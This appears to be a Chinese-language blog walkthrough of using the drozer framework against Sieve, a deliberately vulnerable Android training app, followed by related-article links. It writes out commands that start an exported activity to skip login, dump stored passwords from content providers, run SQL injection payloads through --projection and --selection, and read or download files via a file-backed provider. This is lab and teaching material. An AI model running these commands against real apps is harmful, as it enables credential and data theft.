Drozer实践之sieve
在模拟器中打开drozer agent

启动连接drozer
adb connect 127.0.0.1:xxxxx //adb连接设备,只有模拟器才需要这一步,不同模拟器端口不同
adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务
drozer console connect //连接drozer

3.使用“app.package.list”命令来查找筛子的标识符:
dz> run app.package.list -f sieve //搜索特定的包名
com.mwr.example.sieve

4.使用“app.package.info”命令提供有关包的一些基本信息:
dz> run app.package.info -a com.mwr.example.sieve
展示了应用程序的一些详细信息,包括版本、应用程序在设备上保存数据的位置、安装位置以及应用程序允许的权限的详细信息。

5. 识别攻击面:
dz> run app.package.attacksurface com.mwr.example.sieve

服务是可调试的,可以使用adb将调试器附加到进程,并单步执行代码。
6. 显示暴露的Activity信息
dz> run app.activity.info -a com.mwr.example.sieve

7. 生成intent启动activity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList


在后台制定一个适当的Intent,并通过startActivity调用将其传递给系统。
成功绕过了授权,并获得了用户凭据列表:
8. app.activity.start的更多选项
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]

9. 测试Content Provider (可能造成数据库泄漏
run app.provider.info -a com.mwr.example.sieve //获得更多Content Provider信息

drozer扫描器模块 汇集了各种猜测路径的方法,并预测可访问内容URI的列表:
dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
dz> run app.provider.finduri com.mwr.example.sieve //枚举uri

使用其他drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:
dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/
//获取数据库数据,即用户列表和之前保存的账号密码等信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical
//竖直显示数据库数据

10. 测试Content Provider SQL注入问题
//dz> run scanner.provider.injection -a com.mwr.example.sieve
//检测可利用uri,检查sql注入

利用暴露的content provider进行sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"
//数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "
//使用sql注入列出数据库中的所有数据表

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
//查询其他数据表
(Android操作系统默认使用SQLite数据库存储用户数据,SQLite数据库支持SQL语句,可以使用--projection参数和--seleciton参数传递一些简单的SQL注入语句到Content provider)
11. 从File System-backed Content Providers获取信息
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
根据应用程序数据目录路径 获得更多敏感信息
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts

//下载指定文件到指定目录
windows下不建议指定目录,会有问题,直接下到drozer的主目录下

eg: dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/com.mwr.example.sieve/databases/database.db /home/user/database.db
//将应用程序的数据库从设备复制到本地计算机
12. drozer自动测试漏洞模块
dz> run scanner.provider.injection -a com.mwr.example.sieve

Drozer实践之sieve的更多相关文章
- 5.移动渗透测试工具之drozer
本篇博文主要来介绍drozer在移动渗透中的作用 本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb drozer安装这里不再多嘴,给出链接:https://ww ...
- 利用drozer进行Android渗透测试
一.安装与启动 1. 安装 第一步:从 http://mwr.to/drozer 下载Drozer (Windows Installer) 第二步:在 Android 设备中安装 agent.apk ...
- 编程实践中C语言的一些常见细节
对于C语言,不同的编译器采用了不同的实现,并且在不同平台上表现也不同.脱离具体环境探讨C的细节行为是没有意义的,以下是我所使用的环境,大部分内容都经过测试,且所有测试结果基于这个环境获得,为简化起见, ...
- drozer的使用介绍
0x00. 配置adb环境变量 下载地址:http://pan.baidu.com/s/1o8itZtC 密码:9o6j 如何配置android的adb环境变量 http://jingyan.baid ...
- Android测试(二)——drozer使用
drozer启动: 1)首先在模拟 器或者安卓设备上开启drozer; 2)然后打开adb,转发端口: adb forward tcp:31415 tcp:31415 3)在电脑上开启drozer: ...
- Android App 注射&&Drozer Use
x01 准备工作 测试环境: 1) 手机root权限 2) Adb.exe 3) 手机usb连接开启debug模式(在设置>关于手机>连续点击多次版本号,即可开启开发者模式) 4) Win ...
- 安卓渗透测试工具Drozer学习笔记
下载,并安装. pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题 ➜ vul git:(master) ✗ drozer console connect drozer Server ...
- Drozer
Drozer原名mercury,是一款不错的Android APP安全评估工具.现在有社区版/专业版两个版本 本教程针对于Windows平台下drozer的安装与使用.使用该工具需要JDK的支持,所以 ...
- 03--(二)编程实践中C语言的一些常见细节
编程实践中C语言的一些常见细节(转载) 对于C语言,不同的编译器采用了不同的实现,并且在不同平台上表现也不同.脱离具体环境探讨C的细节行为是没有意义的,以下是我所使用的环境,大部分内容都经过测试,且所 ...
- Drozer简单使用
1.Drozer简介 Drozer是一款针对Android系统的安全测试框架.Drozer可以通过与dalivik VM交互.与其他应用程序的IPC端点交互.与底层操作系统的交互,来避免正处于开发 ...
随机推荐
- spring boot 跨域
spring boot提供了两种跨域配置方式 1.全局跨域 2.局部跨域 全局跨域 package com.tons.config; import org.springframework.contex ...
- 使用batch-import工具向neo4j中导入海量数据【转】
转载备忘 链接:https://www.yisu.com/zixun/496254.html 这篇文章给大家分享的是有关数据库中怎么使用batch-import工具向neo4j中导入海量数据的内容.小 ...
- 谷歌浏览器console.log打印失效问题
什么都没干,谷歌浏览器console.log就失效了,百度说如下图就能打印了,该勾选的勾选了,就是打印无效 后来发现是眼睛边上的那个输入框将打印的内容给过滤掉了,将输入框中的内容删掉就好了 Filte ...
- 【27期】Dubbo面试八连问,这些你都能答上来吗?
1.Dubbo是什么? Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC 分布式服务框架,现已成为 Apache 基金会孵化项目.致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA ...
- PLSQL DEVELOPER使用
一.下载plsql developer.(oracle官网下载地址:https://www.oracle.com/technetwork/topics/winsoft-085727.html) 二.下 ...
- rabbitMq客户端连接超时
rabbitMq客户端连接超时 rabbitmq有两个端口号:15672,用户web页面的http连接:5672用户客户端的tcp长连接. 用腾讯云搭建时:需要在防火墙策略处将两个端口都打开.
- QT控件使用--QPlainTextEdit
QPlainTextEdit是一个多行文本编辑器,用于显示和编辑多行简单文本. 一些常用的函数有: appendPlainText(const QString) 向 PlainTextEdit 组件添 ...
- Canvas布局下使用附加属性使控件岁鼠标移动
定义附加属性 public class MoveBehavior { public static readonly DependencyProperty IsMoveAbleProperty = De ...
- Flink任务自定义个性化配置logback.xml文件
之前已经写过如何使用logback将日志直接写入Kafka,然后通过es和kibana实时查看 但是如果我们想要每个任务都能够带上单独的信息比如开发者.任务名称等信息,那么就需要每个任务都指定一个lo ...
- unixbench测试CPU性能工具
UnixBench是一个类unix系(Unix,BSD,Linux)统下的性能测试工具,一个开源工具,被广泛用与测试linux系统主机的性能.Unixbench的主要测试项目有:系统调用.读写.进程. ...